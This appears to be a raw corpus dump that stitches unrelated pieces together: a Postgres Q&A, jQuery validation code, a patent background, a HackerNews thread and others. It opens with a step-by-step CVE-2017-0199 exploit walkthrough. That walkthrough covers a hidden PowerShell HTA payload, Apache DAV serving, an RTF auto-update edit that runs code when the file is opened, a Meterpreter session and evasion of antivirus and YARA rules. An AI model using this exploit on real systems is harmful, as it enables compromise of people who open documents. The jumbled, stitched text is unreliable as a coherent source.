v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(\"%PSModulePath%\") + \"..\\powershell.exe\") Then owFrClN0giJ.Run \"powershell.exe -nop -w hidden -e ENCODED_B64_SHELL\" End If <\/script> <hta:application id=\"oHTA\" applicationname=\"Bonjour\" application=\"yes\" > <\/hta:application> <\/head> <div> <object type=\"text\/html\" data=\"http:\/\/windows.microsoft.com\/en-IN\/windows7\/products\/features\/windows-defender\" width=\"100%\" height=\"100%\"> <\/object><\/div> <body> <\/body> <\/html>\n\n\n\nStep 2\n\n\n\nCreate a simple RTF document using Winword with the","metadata":{"pile_set_name":"OpenWebText2"},"id":313} {"contents":"any random content. (in our example the string \"This is my official and legit content\")\n\n\n\nCall it \"ms.rtf\"\n\n\n\n\n\nStep 3\n\n\n\nPush these 2 files on a webserver you have full control on.\n\nWe supposed it will be stored in \/var\/www\/html\n\n\n\nNow we have to configure Apache to be able to include the ms.rtf as a link\n\na2enmod dav a2enmod dav_fs a2enmod dav_lock a2enmod headers service apache2 restart\n\nThe following directive will :\n\n- Add \"Content-Type application\/rtf to all files in \/ms\n\n- Allow the PROPFIND request performed by Microsoft Office\n\n\n\nModify virtualhost and include: <Directory \/var\/www\/html\/ms\/> Header set Content-Type \"application\/rtf\" <\/Directory> <Directory \/> Dav on <\/Directory> service apache2 restart\n\n\n\nStep 4\n\n\n\nCreate a simple RTF document using Winword \"exploit.rtf\" This will be our exploit !\n\n\n\nInsert -> Object\n\n\n\nCVE-2017-0199 Creation of OLEv2 external link\n\n\n\nAfter clicking OK you will get the content of","metadata":{"pile_set_name":"OpenWebText2"},"id":314} {"contents":"the \"ms.rtf\" file which just contains a random string..\n\n\n\nSave the file as \"exploit.rtf\"\n\n\n\nCVE-2017-0199 Olev2 link object created\n\n\n\n\n\n\n\nAt this step we can close Winword and go to the next step for changing the content of ms.rtf with the HTA payload...\n\n\n\n\n\nStep 5\n\n\n\nThe following step will :\n\n- change the ms.rtf that we have included with the custom HTA payload\n\n- The web server will send a \"application\/hta\" content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload\n\n\n\ncat \/var\/www\/html\/ms\/ms.hta > \/var\/www\/html\/ms.rtf vi \/etc\/apache2\/sites-enables\/000-default Change -> application\/rtf to application\/hta like: <Directory \/var\/www\/html\/ms\/> Header set Content-Type \"application\/hta\" <\/Directory> service apache2 restart\n\nStep 6\n\n\n\nAt this step, if the user opens the \"exploit.rtf\" file he will have to double click on the link object to launch the","metadata":{"pile_set_name":"OpenWebText2"},"id":315} {"contents":"attack...\n\n\n\nIf we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:\n\n\n\n\n\nto \\object\\objautlink\\objupdate\\rsltpict..........................\n\n\n\n\n\nAt this step the exploit is built.\n\n\n\nExploitation:\n\n\n\nOnce the user open the document the OLE object is updated trhough the link and mshta is execute thanks to the application\/hta content-type delivered by the server\n\nResult: code is executed !\n\n\n\nMeterpreter is here !\n\n\n\n\n\n\n\nWe don't care about the warning as the code was already executed...\n\n\n\nCVE-2017-0199 Exploited ! warning after execution\n\n\n\n\n\nDetection using current AV\/published YARA rules\n\n\n\nFrom my personal tests it seems that this method is not currently catched by AV (Defender already have signature for CVE-2017-0199)\n\n\n\nAdditionnally current published yara rules does not match this exploit\n\n\n\nrule rtf_objdata_urlmoniker_http {\n\nstrings:\n\n$header = \"{\\\\rtf1\"\n\n$objdata = \"objdata 0105000002000000\" nocase\n\n$urlmoniker = \"E0C9EA79F9BACE118C8200AA004BA90B\" nocase\n\n$http = \"68007400740070003a002f002f00\"","metadata":{"pile_set_name":"OpenWebText2"},"id":316} {"contents":"nocase\n\ncondition:\n\n$header at 0 and $objdata and $urlmoniker and $http\n\n}\n\n\n\nIndeed urlmoniker does not match, which will never trigger this yara rule.\n\n\n\n\n\n\n\n\n\n\n\nReferences\n\n\n\nhttps:\/\/www.fireeye.com\/blog\/threat-research\/2017\/04\/cve-2017-0199_useda.html\n\nhttps:\/\/www.mdsec.co.uk\/2017\/04\/exploiting-cve-2017-0199-hta-handler-vulnerability\/\n\nhttps:\/\/blog.nviso.be\/2017\/04\/12\/analysis-of-a-cve-2017-0199-malicious-rtf-document\/\n\n\n\n\n\n\n\nDavid Routin Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)Let's call it \"Create a simple RTF document using Winword with the any random content. (in our example the string \"This is my official and legit content\")Call it \"Push these 2 files on a webserver you have full control on.We supposed it will be stored in \/var\/www\/htmlNow we have to configure Apache to be able to include the ms.rtf as a linkThe following directive will :- Add \"Content-Type application\/rtf to all files in \/ms- Allow the PROPFIND request performed by Microsoft OfficeCreate a simple RTF document using Winword \"\" This will be our","metadata":{"pile_set_name":"OpenWebText2"},"id":317} {"contents":"exploit !After clicking OK you will get the content of the \"ms.rtf\" file which just contains a random string..Save the file as \"The following step will :- change the ms.rtf that we have included with the custom HTA payload- The web server will send a \"application\/hta\" content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payloadAt this step, if the user opens the \"exploit.rtf\" file he will have to double click on the link object to launch the attack...If we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:Once the user open the document the OLE object is updated trhough the link and","metadata":{"pile_set_name":"OpenWebText2"},"id":318} {"contents":"mshta is execute thanks to the application\/hta content-type delivered by the serverResult: code is executed !Meterpreter is here !We don't care about the warning as the code was already executed...From my personal tests it seems that this method(Defender already have signature for CVE-2017-0199)Indeed urlmoniker does not match, which will never trigger this yara rule.https:\/\/www.fireeye.com\/blog\/threat-research\/2017\/04\/cve-2017-0199_useda.htmlhttps:\/\/www.mdsec.co.uk\/2017\/04\/exploiting-cve-2017-0199-hta-handler-vulnerability\/https:\/\/blog.nviso.be\/2017\/04\/12\/analysis-of-a-cve-2017-0199-malicious-rtf-document\/David Routin\n\nSince several days the security community has been informed thanks to FireEye publication of different malware campaigns (Dridex...) spreaded using CVE-2017-0199.Several other publications were related to this vulnerability but no working exploit was published.After digging a while I found the way to exploit this vulnerability in an easy way, which seems to be a bit different than the current works already done by other researchers.I decided to publish this work as Microsoft officially published","metadata":{"pile_set_name":"OpenWebText2"},"id":319} {"contents":"a patch on 11 of Apr 2017.The problem in this case is that the HTA file will not be persistent (to make it persistent you would have had to Link it with file + create icon but we want to be stealth and to have autorun right ?)After thinking a while I started by thinking how to handle a real, not malicious OLE object link to a remote RTF file... To achieve i had to play a little bit with content-type and DAV module in Apache to serve my file in the \"proper\" Microsoft Office expected way... (this will be discussed in next chapters).From there, I will have a valid embeded Object link automatically updated after each open of my document !Next step ? Modify the document at","metadata":{"pile_set_name":"OpenWebText2"},"id":320} {"contents":"the source with my payload in HTA!?!In this scenario, I was able to:- Create a dynamic OLEv2 object link for a real RTF file- Modify the RTF at the source with my payload- Bypass the error generated if I wanted to create a direct link to HTA documentAnother issue ? The OLE object needed to be activated autmatically !I had much help to solve all these issues relaying on different articles in the reference part ! Thanks to Didier Stevens blog, Vincent Yiu (mainly inspired from its article), Nvisio labs, FireEye and obviously... Microsoft :)","metadata":{"pile_set_name":"OpenWebText2"},"id":321} {"contents":"Q:\n\nA (simple?) solution to the \"logical decoding \/ sequence\" problem in Postgres?\n\nAfter reading this mind-blowing answer by Craig Ringer to my previous question Achieving \"sequence number\", rather than dateTime, for updates; postgres specifically I've become interested in the \"logical decoding \/ sequence\" racetrack problem in Postgres.\nAs I understand it (I may have stuffed-up to begin with), here is the racetrack problem in question:\n\nThe write for \"A\" gets a time of 100, and is written eventually at 300.\n\"B\" will get a time of 120, and is written at 200.\nA syncer reads at 250, as shown.\n\nIt gets the B, with a value of 120.\nThe A (100) is lost forever. (The syncer thinks that it has everything up to 120.)\nAssuming I even grasp the full depth of the problem. I","metadata":{"pile_set_name":"StackExchange"},"id":322} {"contents":"see two simple-minded solutions:\n\nAnything that writes has to have a lock. So, actually B would not be allowed to start until A is finished. (It does not matter if a read happens in the middle of one.)\n\nThe reads have to wait on a write-lock. So, the read can't happen in the example until B is finished. (It does not matter if two writes are overlapping.)\n\nQuestions\n\nAm I so dense I don't even know why my solutions are bad?\nIs there perhaps some obvious, everyday setting for Postgres I don't know about (like: \"Only allow one complete write at a time!\" or something, which would implement (1) without bothering about locking.\nIndeed do I even fully grasp the problem?\n\nRegarding the logical-decoding system in Postgres. (Doco) In my limited understanding, it","metadata":{"pile_set_name":"StackExchange"},"id":323} {"contents":"works on a \"channel based\" approach. So you could make, say, 1, 2, 3 or more \"channels\" of your logical decoding, which will each individually be at a different \"points\" in the stream. With logical decoding you can not (as I understand it) just have \"arbitrary streaming\" where you can say \"give me everything from point X\".\n\nA:\n\nYour proposed solution is fine so long as you only need to track inserts and you don't need to be scalable. You can use an id-generator table you query with UPDATE ... RETURNING to implement it very simply; search for \"gapless sequence\".\nSince it destroys write concurrency, it'll only be able to grow to a limited point.\nIt also won't help you track updates or deletes. Unless you start recording them with triggers","metadata":{"pile_set_name":"StackExchange"},"id":324} {"contents":"that insert into a queue table. At which point you might as well use logical decoding. Or Londiste.\nLogical decoding is indeed channel based. You can't step in at some arbitrary point. It's designed to ensure that you receive every change exactly once. You can skip over changes, though, or filter them at the output plugin level. The only restrictions really are that:\n\nyou cannot \"rewind\" once you confirm receipt of changes (but you can intentionally replay the same changes multiple times before you confirm; see the peek functions)\nthe initial slot position is always the current server's insert position or slightly after it. You can't create a slot that starts in the past.\n\nPersonally I think you should just be using one of the json based logical decoding plugins for this,","metadata":{"pile_set_name":"StackExchange"},"id":325} {"contents":"but I don't know the full picture of what you're trying to achieve.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":326} {"contents":"Connubial lymphoproliferative malignancies: a report of nine couples.\nNine marital partners with lymphoproliferative malignancies are detailed and their cases summarized in Table I. This 30-year observation represents the largest series of such associations from a single institution. A brief review of similar reported cases is presented.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":327} {"contents":"I JUST GOT\n\n36 HOURS NOTICE\n\nMY POWER WILL BE SHUT OFF.\n\nNOW WHAT?","metadata":{"pile_set_name":"OpenWebText2"},"id":328} {"contents":"Q:\n\nhow to remove windows service entry manually\n\nI was trying to implement wcf service and host it on windows service. At that time I was able to install and uninstall wcf service using installutil.exe command. By mistake I have deleted project and my test wcf service was installed in computer. Now I want to remove that service manually. Any Idea? \nWhen I tries to delete using Installutil.exe \/u path it throws and exception\nException occurred while initializing the installation:\nSystem.IO.FileNotFoundException: Could not load file or assembly 'XXX' or one of its dependencies. The system cannot find the file specified.\n\nI Have copied path from my service properties -> path to executable .\n\nA:\n\nUse\nsc delete \"servicename\"\n\nin command prompt.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":329} {"contents":"\ufeff\/*!\n** Unobtrusive validation support library for jQuery and jQuery Validate\n** Copyright (C) Microsoft Corporation. All rights reserved.\n*\/\n\n\/*jslint white: true, browser: true, onevar: true, undef: true, nomen: true, eqeqeq: true, plusplus: true, bitwise: true, regexp: true, newcap: true, immed: true, strict: false *\/\n\/*global document: false, jQuery: false *\/\n\n(function ($) {\n var $jQval = $.validator,\n adapters,\n data_validation = \"unobtrusiveValidation\";\n\n function setValidationValues(options, ruleName, value) {\n options.rules[ruleName] = value;\n if (options.message) {\n options.messages[ruleName] = options.message;\n }\n }\n\n","metadata":{"pile_set_name":"Github"},"id":330} {"contents":" function splitAndTrim(value) {\n return value.replace(\/^\\s+|\\s+$\/g, \"\").split(\/\\s*,\\s*\/g);\n }\n\n function escapeAttributeValue(value) {\n \/\/ As mentioned on http:\/\/api.jquery.com\/category\/selectors\/\n return value.replace(\/([!\"#$%&'()*+,.\/:;<=>?@\\[\\\\\\]^`{|}~])\/g, \"\\\\$1\");\n }\n\n function getModelPrefix(fieldName) {\n return fieldName.substr(0, fieldName.lastIndexOf(\".\") + 1);\n }\n\n function appendModelPrefix(value, prefix) {\n if (value.indexOf(\"*.\") === 0) {\n value = value.replace(\"*.\", prefix);\n }\n return value;\n ","metadata":{"pile_set_name":"Github"},"id":331} {"contents":"}\n\n function onError(error, inputElement) { \/\/ 'this' is the form element\n var container = $(this).find(\"[data-valmsg-for='\" + escapeAttributeValue(inputElement[0].name) + \"']\"),\n replace = $.parseJSON(container.attr(\"data-valmsg-replace\")) !== false;\n\n container.removeClass(\"field-validation-valid\").addClass(\"field-validation-error\");\n error.data(\"unobtrusiveContainer\", container);\n\n if (replace) {\n container.empty();\n error.removeClass(\"input-validation-error\").appendTo(container);\n }\n else {\n error.hide();\n ","metadata":{"pile_set_name":"Github"},"id":332} {"contents":" }\n }\n\n function onErrors(event, validator) { \/\/ 'this' is the form element\n var container = $(this).find(\"[data-valmsg-summary=true]\"),\n list = container.find(\"ul\");\n\n if (list && list.length && validator.errorList.length) {\n list.empty();\n container.addClass(\"validation-summary-errors\").removeClass(\"validation-summary-valid\");\n\n $.each(validator.errorList, function () {\n $(\"<li \/>\").html(this.message).appendTo(list);\n ","metadata":{"pile_set_name":"Github"},"id":333} {"contents":" });\n }\n }\n\n function onSuccess(error) { \/\/ 'this' is the form element\n var container = error.data(\"unobtrusiveContainer\"),\n replace = $.parseJSON(container.attr(\"data-valmsg-replace\"));\n\n if (container) {\n container.addClass(\"field-validation-valid\").removeClass(\"field-validation-error\");\n error.removeData(\"unobtrusiveContainer\");\n\n if (replace) {\n container.empty();\n ","metadata":{"pile_set_name":"Github"},"id":334} {"contents":"}\n }\n }\n\n function onReset(event) { \/\/ 'this' is the form element\n var $form = $(this);\n $form.data(\"validator\").resetForm();\n $form.find(\".validation-summary-errors\")\n .addClass(\"validation-summary-valid\")\n .removeClass(\"validation-summary-errors\");\n $form.find(\".field-validation-error\")\n .addClass(\"field-validation-valid\")\n .removeClass(\"field-validation-error\")\n .removeData(\"unobtrusiveContainer\")\n ","metadata":{"pile_set_name":"Github"},"id":335} {"contents":" .find(\">*\") \/\/ If we were using valmsg-replace, get the underlying error\n .removeData(\"unobtrusiveContainer\");\n }\n\n function validationInfo(form) {\n var $form = $(form),\n result = $form.data(data_validation),\n onResetProxy = $.proxy(onReset, form);\n\n if (!result) {\n result = {\n options: { \/\/ options structure passed","metadata":{"pile_set_name":"Github"},"id":336} {"contents":"to jQuery Validate's validate() method\n errorClass: \"input-validation-error\",\n errorElement: \"span\",\n errorPlacement: $.proxy(onError, form),\n invalidHandler: $.proxy(onErrors, form),\n messages: {},\n ","metadata":{"pile_set_name":"Github"},"id":337} {"contents":" rules: {},\n success: $.proxy(onSuccess, form)\n },\n attachValidation: function () {\n $form\n .unbind(\"reset.\" + data_validation, onResetProxy)\n ","metadata":{"pile_set_name":"Github"},"id":338} {"contents":" .bind(\"reset.\" + data_validation, onResetProxy)\n .validate(this.options);\n },\n validate: function () { \/\/ a validation function that is called by unobtrusive Ajax\n $form.validate();\n return $form.valid();\n ","metadata":{"pile_set_name":"Github"},"id":339} {"contents":" }\n };\n $form.data(data_validation, result);\n }\n\n return result;\n }\n\n $jQval.unobtrusive = {\n adapters: [],\n\n parseElement: function (element, skipAttach) {\n \/\/\/ <summary>\n \/\/\/ Parses a single HTML element for unobtrusive validation attributes.\n \/\/\/ <\/summary>\n ","metadata":{"pile_set_name":"Github"},"id":340} {"contents":" \/\/\/ <param name=\"element\" domElement=\"true\">The HTML element to be parsed.<\/param>\n \/\/\/ <param name=\"skipAttach\" type=\"Boolean\">[Optional] true to skip attaching the\n \/\/\/ validation to the form. If parsing just this single element, you should specify true.\n \/\/\/ If parsing several elements, you should specify false, and manually attach the validation\n \/\/\/ to the form when you are finished. The default is false.<\/param>\n var $element = $(element),\n","metadata":{"pile_set_name":"Github"},"id":341} {"contents":" form = $element.parents(\"form\")[0],\n valInfo, rules, messages;\n\n if (!form) { \/\/ Cannot do client-side validation without a form\n return;\n }\n\n valInfo = validationInfo(form);\n valInfo.options.rules[element.name] = rules = {};\n ","metadata":{"pile_set_name":"Github"},"id":342} {"contents":"valInfo.options.messages[element.name] = messages = {};\n\n $.each(this.adapters, function () {\n var prefix = \"data-val-\" + this.name,\n message = $element.attr(prefix),\n paramValues = {};\n\n if (message !== undefined) { \/\/ Compare against undefined, because an empty message is legal (and falsy)\n ","metadata":{"pile_set_name":"Github"},"id":343} {"contents":" prefix += \"-\";\n\n $.each(this.params, function () {\n paramValues[this] = $element.attr(prefix + this);\n });\n\n this.adapt({\n element: element,\n","metadata":{"pile_set_name":"Github"},"id":344} {"contents":" form: form,\n message: message,\n params: paramValues,\n rules: rules,\n messages: messages\n ","metadata":{"pile_set_name":"Github"},"id":345} {"contents":" });\n }\n });\n\n $.extend(rules, { \"__dummy__\": true });\n\n if (!skipAttach) {\n valInfo.attachValidation();\n }\n },\n\n parse: function (selector) {\n ","metadata":{"pile_set_name":"Github"},"id":346} {"contents":" \/\/\/ <summary>\n \/\/\/ Parses all the HTML elements in the specified selector. It looks for input elements decorated\n \/\/\/ with the [data-val=true] attribute value and enables validation according to the data-val-*\n \/\/\/ attribute values.\n \/\/\/ <\/summary>\n \/\/\/ <param name=\"selector\" type=\"String\">Any valid jQuery selector.<\/param>\n var $forms = $(selector)\n ","metadata":{"pile_set_name":"Github"},"id":347} {"contents":" .parents(\"form\")\n .andSelf()\n .add($(selector).find(\"form\"))\n .filter(\"form\");\n\n $(selector).find(\":input[data-val=true]\").each(function () {\n $jQval.unobtrusive.parseElement(this, true);\n });\n\n $forms.each(function () {\n var info","metadata":{"pile_set_name":"Github"},"id":348} {"contents":"= validationInfo(this);\n if (info) {\n info.attachValidation();\n }\n });\n }\n };\n\n adapters = $jQval.unobtrusive.adapters;\n\n adapters.add = function (adapterName, params, fn) {\n \/\/\/ <summary>Adds a new adapter to convert unobtrusive HTML into a jQuery Validate validation.<\/summary>\n \/\/\/ <param name=\"adapterName\" type=\"String\">The","metadata":{"pile_set_name":"Github"},"id":349} {"contents":"name of the adapter to be added. This matches the name used\n \/\/\/ in the data-val-nnnn HTML attribute (where nnnn is the adapter name).<\/param>\n \/\/\/ <param name=\"params\" type=\"Array\" optional=\"true\">[Optional] An array of parameter names (strings) that will\n \/\/\/ be extracted from the data-val-nnnn-mmmm HTML attributes (where nnnn is the adapter name, and\n \/\/\/ mmmm is the parameter name).<\/param>\n \/\/\/ <param name=\"fn\" type=\"Function\">The function to call, which adapts the values from the HTML\n \/\/\/ attributes into jQuery Validate rules and\/or messages.<\/param>\n ","metadata":{"pile_set_name":"Github"},"id":350} {"contents":" \/\/\/ <returns type=\"jQuery.validator.unobtrusive.adapters\" \/>\n if (!fn) { \/\/ Called with no params, just a function\n fn = params;\n params = [];\n }\n this.push({ name: adapterName, params: params, adapt: fn });\n return this;\n };\n\n adapters.addBool = function (adapterName, ruleName) {\n \/\/\/ <summary>Adds a new adapter to convert unobtrusive HTML into a jQuery Validate validation, where\n \/\/\/ the","metadata":{"pile_set_name":"Github"},"id":351} {"contents":"jQuery Validate validation rule has no parameter values.<\/summary>\n \/\/\/ <param name=\"adapterName\" type=\"String\">The name of the adapter to be added. This matches the name used\n \/\/\/ in the data-val-nnnn HTML attribute (where nnnn is the adapter name).<\/param>\n \/\/\/ <param name=\"ruleName\" type=\"String\" optional=\"true\">[Optional] The name of the jQuery Validate rule. If not provided, the value\n \/\/\/ of adapterName will be used instead.<\/param>\n \/\/\/ <returns type=\"jQuery.validator.unobtrusive.adapters\" \/>\n return this.add(adapterName, function (options) {\n setValidationValues(options, ruleName || adapterName, true);\n ","metadata":{"pile_set_name":"Github"},"id":352} {"contents":" });\n };\n\n adapters.addMinMax = function (adapterName, minRuleName, maxRuleName, minMaxRuleName, minAttribute, maxAttribute) {\n \/\/\/ <summary>Adds a new adapter to convert unobtrusive HTML into a jQuery Validate validation, where\n \/\/\/ the jQuery Validate validation has three potential rules (one for min-only, one for max-only, and\n \/\/\/ one for min-and-max). The HTML parameters are expected to be named -min and -max.<\/summary>\n \/\/\/ <param name=\"adapterName\" type=\"String\">The name of the adapter to be added. This matches the name used\n \/\/\/ in the data-val-nnnn HTML attribute (where","metadata":{"pile_set_name":"Github"},"id":353} {"contents":"nnnn is the adapter name).<\/param>\n \/\/\/ <param name=\"minRuleName\" type=\"String\">The name of the jQuery Validate rule to be used when you only\n \/\/\/ have a minimum value.<\/param>\n \/\/\/ <param name=\"maxRuleName\" type=\"String\">The name of the jQuery Validate rule to be used when you only\n \/\/\/ have a maximum value.<\/param>\n \/\/\/ <param name=\"minMaxRuleName\" type=\"String\">The name of the jQuery Validate rule to be used when you\n \/\/\/ have both a minimum and maximum value.<\/param>\n \/\/\/ <param name=\"minAttribute\" type=\"String\" optional=\"true\">[Optional] The name of the","metadata":{"pile_set_name":"Github"},"id":354} {"contents":"HTML attribute that\n \/\/\/ contains the minimum value. The default is \"min\".<\/param>\n \/\/\/ <param name=\"maxAttribute\" type=\"String\" optional=\"true\">[Optional] The name of the HTML attribute that\n \/\/\/ contains the maximum value. The default is \"max\".<\/param>\n \/\/\/ <returns type=\"jQuery.validator.unobtrusive.adapters\" \/>\n return this.add(adapterName, [minAttribute || \"min\", maxAttribute || \"max\"], function (options) {\n var min = options.params.min,\n max = options.params.max;\n\n if","metadata":{"pile_set_name":"Github"},"id":355} {"contents":"(min && max) {\n setValidationValues(options, minMaxRuleName, [min, max]);\n }\n else if (min) {\n setValidationValues(options, minRuleName, min);\n }\n else if (max) {\n setValidationValues(options, maxRuleName, max);\n }\n ","metadata":{"pile_set_name":"Github"},"id":356} {"contents":" });\n };\n\n adapters.addSingleVal = function (adapterName, attribute, ruleName) {\n \/\/\/ <summary>Adds a new adapter to convert unobtrusive HTML into a jQuery Validate validation, where\n \/\/\/ the jQuery Validate validation rule has a single value.<\/summary>\n \/\/\/ <param name=\"adapterName\" type=\"String\">The name of the adapter to be added. This matches the name used\n \/\/\/ in the data-val-nnnn HTML attribute(where nnnn is the adapter name).<\/param>\n \/\/\/ <param name=\"attribute\" type=\"String\">[Optional] The name of the HTML attribute that contains the value.\n \/\/\/","metadata":{"pile_set_name":"Github"},"id":357} {"contents":"The default is \"val\".<\/param>\n \/\/\/ <param name=\"ruleName\" type=\"String\" optional=\"true\">[Optional] The name of the jQuery Validate rule. If not provided, the value\n \/\/\/ of adapterName will be used instead.<\/param>\n \/\/\/ <returns type=\"jQuery.validator.unobtrusive.adapters\" \/>\n return this.add(adapterName, [attribute || \"val\"], function (options) {\n setValidationValues(options, ruleName || adapterName, options.params[attribute]);\n });\n };\n\n $jQval.addMethod(\"__dummy__\", function (value, element, params) {\n return true;\n });\n\n $jQval.addMethod(\"regex\", function (value, element, params) {\n ","metadata":{"pile_set_name":"Github"},"id":358} {"contents":" var match;\n if (this.optional(element)) {\n return true;\n }\n\n match = new RegExp(params).exec(value);\n return (match && (match.index === 0) && (match[0].length === value.length));\n });\n\n adapters.addSingleVal(\"accept\", \"exts\").addSingleVal(\"regex\", \"pattern\");\n adapters.addBool(\"creditcard\").addBool(\"date\").addBool(\"digits\").addBool(\"email\").addBool(\"number\").addBool(\"url\");\n adapters.addMinMax(\"length\", \"minlength\", \"maxlength\", \"rangelength\").addMinMax(\"range\", \"min\", \"max\", \"range\");\n adapters.add(\"equalto\", [\"other\"], function (options) {\n var prefix = getModelPrefix(options.element.name),\n other = options.params.other,\n ","metadata":{"pile_set_name":"Github"},"id":359} {"contents":" fullOtherName = appendModelPrefix(other, prefix),\n element = $(options.form).find(\":input[name='\" + escapeAttributeValue(fullOtherName) + \"']\")[0];\n\n setValidationValues(options, \"equalTo\", element);\n });\n adapters.add(\"required\", function (options) {\n \/\/ jQuery Validate equates \"required\" with \"mandatory\" for checkbox elements\n if (options.element.tagName.toUpperCase() !== \"INPUT\" || options.element.type.toUpperCase() !== \"CHECKBOX\") {\n setValidationValues(options, \"required\", true);\n }\n });\n adapters.add(\"remote\", [\"url\", \"type\", \"additionalfields\"], function (options) {\n var value","metadata":{"pile_set_name":"Github"},"id":360} {"contents":"= {\n url: options.params.url,\n type: options.params.type || \"GET\",\n data: {}\n },\n prefix = getModelPrefix(options.element.name);\n\n $.each(splitAndTrim(options.params.additionalfields || options.element.name), function (i, fieldName) {\n var paramName = appendModelPrefix(fieldName, prefix);\n value.data[paramName] = function () {\n return $(options.form).find(\":input[name='\"","metadata":{"pile_set_name":"Github"},"id":361} {"contents":"+ escapeAttributeValue(paramName) + \"']\").val();\n };\n });\n\n setValidationValues(options, \"remote\", value);\n });\n\n $(function () {\n $jQval.unobtrusive.parse(document);\n });\n} (jQuery));","metadata":{"pile_set_name":"Github"},"id":362} {"contents":"Genetic information encoded in DNA molecules is expressed by a series of steps involving transcription of DNA into mRNA and the subsequent translation of the mRNA into polypeptides or proteins. The expression of the encoded information to form polypeptides is initiated at the promoter site, a region on the DNA molecule to which RNA polymerase binds and initiates transcription.\nRecombinant production of proteins and peptides has become a hallmark of the biomedical and industrial biochemical industry. One of the factors influencing the cost of commercial protein\/peptide production is the efficient expression of the desired gene product. Factors influencing the efficiency of the process include, but are lot limited to gene dosage (i.e. copy number), promoter strength, and the ability to control expression (i.e. inducibility).\nHistorically, one means to increase protein","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":363} {"contents":"production has been the use of multi-copy plasmids. However, the increased metabolic burden placed on the cell often results in a decreased growth rate and plasmid instability. As such, it is desirable to use a strong promoter so that the copy number is minimized. The use of a strong promoter facilitates increased protein production while minimizing the metabolic burden on the host cell (i.e. fewer copies of the gene targeted for expression are required to achieve the same level of protein yield).\nThe use of strong promoters often requires a level of control when expressing the desired gene product. Uncontrolled constitutive expression often results in undesirable effects on the growth and\/or viability of the recombinant host cell. As such, the use of strong, inducible promoters is desired. Preferably, the","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":364} {"contents":"promoter used is characterized by tightly regulated expression and is induced using a condition or compound that is safe, environmentally friendly, and economical.\nThe araB gene and its promoter (\u201caraB promoter\u201d also known as the PBAD promoter) are located in the L-arabinose operon. The endogenous L-arabinose operon has been studied in various microorganisms including, but not limited to Escherichia coli, Salmonella typhimurium, and Bacillus subtilis ((Horwitiz et al., Gene (1981) 14:309-319; Lin et al., Gene (1985) 34:111-122; Lin et al. Gene (1985) 34:123-128; Lin et al., Gene (1985) 34: 129-134); Schleif, R., Trends in Genet. (2000) 16(12):559-565; U.S. Pat. Nos. 5,028,530; and 6,030,807). The operon is comprised of 3 structural genes (araA, araB, and araD) encoding enzymes responsible for converting L-arabinose to D-xylose-5-phosphate. The gene araA encodes the enzyme","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":365} {"contents":"arabinose isomerase, responsible for converting arabinose to ribulose. Ribulokinase (encoded by the gene araB) phosphorylates ribulose to make ribulose-5-phosphate. The enzyme ribulose-5-phosphate epimerase (encoded by the gene araD) converts ribulose-5-phosphate to xylulose-5-phosphate, which can be metabolized via the pentose phosphate pathway. The araBAD operon is coordinately controlled by the inducer L-arabinose and the AraC regulatory gene product (Guzman et al., (1995) J. Bacteriol. 177:4121-4130). PBAD based expression systems based are widely used and commercially available from companies such as Invitrogen (Carlsbad, Calif.).\nThe PBAD expression system is tightly controlled and the inducer, L-arabinose, is safe and economical. However, the wild type araB promoter is not generally considered a strong promoter once induced. As such, use of the currently available PBAD-based expression systems is often unattractive for low cost peptide\/protein","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":366} {"contents":"production where optimal protein yield is desired.\nThe problem to be solved is to provide an arabinose inducible expression system having the ability to increase protein yield when operably linked to a coding sequence of interest.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":367} {"contents":"\nTacitus\u2019 Perfect Man - diodorus\nhttp:\/\/www.historytoday.com\/emma-southon\/tacitus\u2019-perfect-man\n======\nvaluearb\nThis dragged me into quite a wonderful wikipedia sinkhole, which led me to\n\n[https:\/\/en.wikipedia.org\/wiki\/Caesarion](https:\/\/en.wikipedia.org\/wiki\/Caesarion)\n\nEveryone knows how amazing his father, Julius Caesar, was. But popular culture\nonly remembers on the legendary beauty of his mother. Cleopatra was almost\ncertainly a genius. She could speak 10 languages, and was the first Ptolemy\nruler to speak Egyptian (she was actually Greek\/Macedonian, the Ptolemy\ndescended directly from Alexanders greatest general). She was educated in\nmath, philosophy and astronomy, introduced Julius Caesar to the astronomer\nSosigenes of Alexandria to help create the Julian calendar, and wrote a\nmedical treatise.\n\nSad that the product of two of histories great geniuses had to be killed by\nOctavian to protect his claim to the empire. Though the child seldom matches\ntheir parents, seems like an irreplaceable genetic loss.\n\nAfter Germanicus died, the Roman empire","metadata":{"pile_set_name":"HackerNews"},"id":368} {"contents":"went from bad to worse in it's choice\nof emperors. Tiberius led to Caligula, then Claudius, then Nero, and his death\nlead to the tumultuous year of the Four emperors.\n\n[https:\/\/en.wikipedia.org\/wiki\/Year_of_the_Four_Emperors](https:\/\/en.wikipedia.org\/wiki\/Year_of_the_Four_Emperors)\n\nFrom that year comes interesting parallel to Germanicus, the story of Lucius\nVerginius Rufus.\n\n[https:\/\/en.wikipedia.org\/wiki\/Lucius_Verginius_Rufus](https:\/\/en.wikipedia.org\/wiki\/Lucius_Verginius_Rufus)\n\nHe helped put down uprisings by governors intending to become Emperor and\ntwice that year his armies offered to put him on the throne, and he refused\nboth times. In an era where emperors regularly killed anyone who had the\npolitical means to be a threat to their throne, he was able to live to the age\nof 83, where he was again selected as Consul by Emperor Nero.\n\n~~~\nSirensOfTitan\nSomething else to note here: Julius Caesar lived most of his life working\ntoward great purpose. It almost seemed like he got bored being in the","metadata":{"pile_set_name":"HackerNews"},"id":369} {"contents":"same\nplace for too long. One of the only true times he took a break in his life was\nwith Cleopatra after the Pompean-Caesarian Civil War turned in his favor. It\nwas actually a bit of a disastrous hiatus for him, but I think it speaks to\nhow absolutely engaging Cleopatra was (although many commentators might just\nsay after 10 years of warfare, he just needed a break).\n\n> Sad that the product of two of histories great geniuses had to be killed by\n> Octavian to protect his 